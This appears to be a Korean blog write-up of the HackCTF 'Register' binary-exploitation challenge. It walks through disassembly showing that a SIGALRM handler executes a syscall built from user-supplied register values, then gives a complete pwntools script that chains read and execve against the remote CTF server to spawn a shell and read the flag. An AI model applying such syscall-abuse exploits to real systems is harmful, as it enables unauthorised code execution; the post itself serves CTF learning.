시작
안녕하세요 :D
정보보안산업기사 실기가 점점 다가와요.. 이론 공부만 하면 지겨우니깐 머리 식힐 겸 포너블 풀어봤어요 ㅎㅎ
일단 이 문제 풀면서 새로운 함수를 알았어요. 시그널 처리하는 구문도 처음 봤고..
시작해봐요!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/27.Register# ./register
RAX: 0
RDI: 0
RSI: 0
RDX: 0
RCX: 0
R8: 0
R9: 0
RAX: 0
RDI: 0
RSI: 0
RDX: 0
실행하면 RAX, RDI, RSI.. 순으로 입력을 받습니다.
얘네가 진짜 레지스터에 들어가는 값인지 확인해볼 필요가 있겠습니다.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
보호기법엔 카나리가 추가되었네요.
gdb-peda$ pd main
Dump of assembler code for function main:
0x0000000000400ad7 <+0>: push rbp
0x0000000000400ad8 <+1>: mov rbp,rsp
0x0000000000400adb <+4>: mov edi,0x5
0x0000000000400ae0 <+9>: call 0x400650 <alarm@plt>
0x0000000000400ae5 <+14>: mov rax,QWORD PTR [rip+0x200594] # 0x601080 <stdout@@GLIBC_2.2.5>
0x0000000000400aec <+21>: mov ecx,0x0
0x0000000000400af1 <+26>: mov edx,0x2
0x0000000000400af6 <+31>: mov esi,0x0
0x0000000000400afb <+36>: mov rdi,rax
0x0000000000400afe <+39>: call 0x400690 <setvbuf@plt>
0x0000000000400b03 <+44>: mov eax,0x0
0x0000000000400b08 <+49>: call 0x400a39 <build>
0x0000000000400b0d <+54>: mov eax,0x0
0x0000000000400b12 <+59>: pop rbp
0x0000000000400b13 <+60>: ret
End of assembler dump.
단순히 build()를 호출하는 main() 함수지만 위에 alarm(5)
가 보이네요. 무심코 넘어가지 말고 잘 체크해둡시다.
gdb-peda$ pd build
Dump of assembler code for function build:
0x0000000000400a39 <+0>: push rbp
0x0000000000400a3a <+1>: mov rbp,rsp
0x0000000000400a3d <+4>: sub rsp,0x40
0x0000000000400a41 <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400a4a <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400a4e <+21>: xor eax,eax
0x0000000000400a50 <+23>: mov esi,0x4007f1
0x0000000000400a55 <+28>: mov edi,0xe
0x0000000000400a5a <+33>: call 0x400680 <signal@plt>
0x0000000000400a5f <+38>: lea rax,[rbp-0x40]
0x0000000000400a63 <+42>: mov rdi,rax
0x0000000000400a66 <+45>: call 0x4008be <get_obj>
0x0000000000400a6b <+50>: mov rax,QWORD PTR [rbp-0x40]
0x0000000000400a6f <+54>: mov QWORD PTR [rip+0x20062a],rax # 0x6010a0
0x0000000000400a76 <+61>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400a7a <+65>: mov QWORD PTR [rip+0x200627],rax # 0x6010a8 <obj+8>
0x0000000000400a81 <+72>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400a85 <+76>: mov QWORD PTR [rip+0x200624],rax # 0x6010b0 <obj+16>
0x0000000000400a8c <+83>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400a90 <+87>: mov QWORD PTR [rip+0x200621],rax # 0x6010b8 <obj+24>
0x0000000000400a97 <+94>: mov rax,QWORD PTR [rbp-0x20]
0x0000000000400a9b <+98>: mov QWORD PTR [rip+0x20061e],rax # 0x6010c0 <obj+32>
0x0000000000400aa2 <+105>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400aa6 <+109>: mov QWORD PTR [rip+0x20061b],rax # 0x6010c8 <obj+40>
0x0000000000400aad <+116>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400ab1 <+120>: mov QWORD PTR [rip+0x200618],rax # 0x6010d0 <obj+48>
0x0000000000400ab8 <+127>: mov rax,QWORD PTR [rbp-0x40]
0x0000000000400abc <+131>: mov rdi,rax
0x0000000000400abf <+134>: call 0x4009cc <validate_syscall_obj>
0x0000000000400ac4 <+139>: test eax,eax
0x0000000000400ac6 <+141>: jne 0x400ad4 <build+155>
0x0000000000400ac8 <+143>: mov edi,0xe
0x0000000000400acd <+148>: call 0x400620 <raise@plt>
0x0000000000400ad2 <+153>: jmp 0x400a5f <build+38>
0x0000000000400ad4 <+155>: nop
0x0000000000400ad5 <+156>: jmp 0x400a5f <build+38>
End of assembler dump.
큰 그림으로 보면 0x6010a0 부터 QWORD 단위로 값을 넣어줍니다.
느낌 상 여기부터 우리의 입력값이 들어가겠네요.
gdb-peda$ pd validate_syscall_obj
Dump of assembler code for function validate_syscall_obj:
0x00000000004009cc <+0>: push rbp
0x00000000004009cd <+1>: mov rbp,rsp
0x00000000004009d0 <+4>: mov QWORD PTR [rbp-0x18],rdi
0x00000000004009d4 <+8>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004009d8 <+12>: cmp rax,0x2
0x00000000004009dc <+16>: je 0x400a11 <validate_syscall_obj+69>
0x00000000004009de <+18>: cmp rax,0x2
0x00000000004009e2 <+22>: jg 0x4009f1 <validate_syscall_obj+37>
0x00000000004009e4 <+24>: test rax,rax
0x00000000004009e7 <+27>: je 0x4009ff <validate_syscall_obj+51>
0x00000000004009e9 <+29>: cmp rax,0x1
0x00000000004009ed <+33>: je 0x400a08 <validate_syscall_obj+60>
0x00000000004009ef <+35>: jmp 0x400a2c <validate_syscall_obj+96>
0x00000000004009f1 <+37>: cmp rax,0x3
0x00000000004009f5 <+41>: je 0x400a1a <validate_syscall_obj+78>
0x00000000004009f7 <+43>: cmp rax,0x3c
0x00000000004009fb <+47>: je 0x400a23 <validate_syscall_obj+87>
0x00000000004009fd <+49>: jmp 0x400a2c <validate_syscall_obj+96>
0x00000000004009ff <+51>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400a06 <+58>: jmp 0x400a34 <validate_syscall_obj+104>
0x0000000000400a08 <+60>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400a0f <+67>: jmp 0x400a34 <validate_syscall_obj+104>
0x0000000000400a11 <+69>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400a18 <+76>: jmp 0x400a34 <validate_syscall_obj+104>
0x0000000000400a1a <+78>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400a21 <+85>: jmp 0x400a34 <validate_syscall_obj+104>
0x0000000000400a23 <+87>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400a2a <+94>: jmp 0x400a34 <validate_syscall_obj+104>
0x0000000000400a2c <+96>: mov DWORD PTR [rbp-0x4],0x1
0x0000000000400a33 <+103>: nop
0x0000000000400a34 <+104>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400a37 <+107>: pop rbp
0x0000000000400a38 <+108>: ret
End of assembler dump.
이 함수는 rbp-0x4 변수에 0을 넣어주냐, 1을 넣어주냐로 갈려요.
이 변수는 결론적으로 리턴값이 됩니다.
0x0000000000400ac4 <+139>: test eax,eax
0x0000000000400ac6 <+141>: jne 0x400ad4 <build+155>
0x0000000000400ac8 <+143>: mov edi,0xe
0x0000000000400acd <+148>: call 0x400620 <raise@plt>
0x0000000000400ad2 <+153>: jmp 0x400a5f <build+38>
0x0000000000400ad4 <+155>: nop
0x0000000000400ad5 <+156>: jmp 0x400a5f <build+38>
다시 build() 함수에요. validate_syscall_obj()의 리턴값이 0이면 raise(14)를 실행하고, 아니면 다시 윗부분으로 jmp하네요.
여기까지만 봤을 때 딱히 오버플로우나 leak할 부분은 보이지 않아요.
0x0000000000400a50 <+23>: mov esi,0x4007f1
0x0000000000400a55 <+28>: mov edi,0xe
0x0000000000400a5a <+33>: call 0x400680 <signal@plt>
build() 함수의 일부입니다.
signal(14, 0x4007f1) 구문에서 0x4007f1은 뭐하는 녀석일까요?
gdb-peda$ pd 0x4007f1
Dump of assembler code from 0x4007f1 to 0x400811:: Dump of assembler code from 0x4007f1 to 0x400811:
0x00000000004007f1 <handler+0>: push rbp
0x00000000004007f2 <handler+1>: mov rbp,rsp
0x00000000004007f5 <handler+4>: sub rsp,0x8
0x00000000004007f9 <handler+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004007fc <handler+11>: mov edi,0x6010a0
0x0000000000400801 <handler+16>: call 0x4007c6 <exec_syscall_obj>
0x0000000000400806 <handler+21>: nop
0x0000000000400807 <handler+22>: leave
0x0000000000400808 <handler+23>: ret
0x0000000000400809 <get_inp+0>: push rbp
0x000000000040080a <get_inp+1>: mov rbp,rsp
0x000000000040080d <get_inp+4>: sub rsp,0x20
End of assembler dump.
gdb-peda$ pd exec_syscall_obj
Dump of assembler code for function exec_syscall_obj:
0x00000000004007c6 <+0>: push rbp
0x00000000004007c7 <+1>: mov rbp,rsp
0x00000000004007ca <+4>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004007ce <+8>: mov rbx,rdi
0x00000000004007d1 <+11>: mov rax,QWORD PTR [rbx]
0x00000000004007d4 <+14>: mov rdi,QWORD PTR [rbx+0x8]
0x00000000004007d8 <+18>: mov rsi,QWORD PTR [rbx+0x10]
0x00000000004007dc <+22>: mov rdx,QWORD PTR [rbx+0x18]
0x00000000004007e0 <+26>: mov rcx,QWORD PTR [rbx+0x20]
0x00000000004007e4 <+30>: mov r8,QWORD PTR [rbx+0x28]
0x00000000004007e8 <+34>: mov r9,QWORD PTR [rbx+0x30]
0x00000000004007ec <+38>: syscall
0x00000000004007ee <+40>: nop
0x00000000004007ef <+41>: pop rbp
0x00000000004007f0 <+42>: ret
End of assembler dump.
handler()에서 exec_syscall_obj(0x6010a0)을 호출합니다.
0x6010a0 영역은 build 함수에서 입력값을 넣어주었던 부분이에요. 따라서 레지스터에 맞게 들어간다는 겁니다!!
여기를 호출해야겠네요.
이 문제의 핵심은 signal(14, 0x4007f1)
에 있습니다.
이 코드를 해석하면 “14번 시그널이 왔을 때, 0x4007f1을 처리해라” 라는 의미에요.
14번 시그널은 alarm입니다. main()에 있던 그거에요.
0x0000000000400ac4 <+139>: test eax,eax
0x0000000000400ac6 <+141>: jne 0x400ad4 <build+155>
0x0000000000400ac8 <+143>: mov edi,0xe
0x0000000000400acd <+148>: call 0x400620 <raise@plt>
0x0000000000400ad2 <+153>: jmp 0x400a5f <build+38>
0x0000000000400ad4 <+155>: nop
0x0000000000400ad5 <+156>: jmp 0x400a5f <build+38>
build() 함수에도 있었죠? raise(14), 14번 시그널을 보내는 코드가 말이죠.
결론적으로 14번 시그널을 프로그램에 보낸다면 처리 루틴이 handler() 함수로 이동할 것이고, syscall이 실행됩니다.
우리는 “/bin/sh”를 넣을 sys_read()와, 쉘을 실행할 sys_execve() 함수가 필요하기 때문에
2번의 시그널을 보내줘야 해요.
우선 첫 번째!! read()를 실행하기 위한 RAX 값은 0인데, 얘는 validate_syscall_obj()에서 비교구문에 걸려
rbp-0x4 변수가 0으로 세팅되고, 이는 build() 함수에서 test eax, eax / jmp 구문을 타고 raise(14)를 발생시킵니다.
그리고 두 번째, main() 함수의 alarm(5)에 의해 5초 후 다시 14번 시그널이 발생해요.
따라서 일정 시간이 지난 후 페이로드를 보내면 쉘이 떨어질 것 같습니다.
코드입니다.
from pwn import *
#context.log_level = "debug"
#p = process("./register")
p = remote("ctf.j0n9hyun.xyz", 3026)
bss = 0x601080
p.recvuntil("RAX: ")
p.sendline("0")
p.recvuntil("RDI: ")
p.sendline("0")
p.recvuntil("RSI: ")
p.sendline("6295780")
p.recvuntil("RDX: ")
p.sendline("8")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")
p.send("/bin/sh\x00")
sleep(4)
p.recvuntil("RAX: ")
p.sendline("59")
p.recvuntil("RDI: ")
p.sendline("6295780")
p.recvuntil("RSI: ")
p.sendline("0")
p.recvuntil("RDX: ")
p.sendline("0")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")
p.interactive()
타이밍 맞추는 게 중요합니다!! 저는 4초 기다린 후 페이로드를 보냈어요.
[+] Opening connection to ctf.j0n9hyun.xyz on port 3026: Done
[*] Switching to interactive mode
RAX: $ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
마무리
처음엔 어디를 leak 해야할 지 몰라서 당황했는데, 해답은 signal() 함수에 있었습니다.
신기한 문제였네요.. 시그널을 활용한 문제는 처음 풀어봤어요 ㅋㅋㅋㅋ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] You are silver (0) | 2019.11.02 |
---|---|
[HackCTF] World Best Encryption Tool (0) | 2019.10.22 |
[HackCTF] RTC (0) | 2019.10.12 |
[HackCTF] SysROP (0) | 2019.10.12 |
[HackCTF] Unexploitable #1 (0) | 2019.10.10 |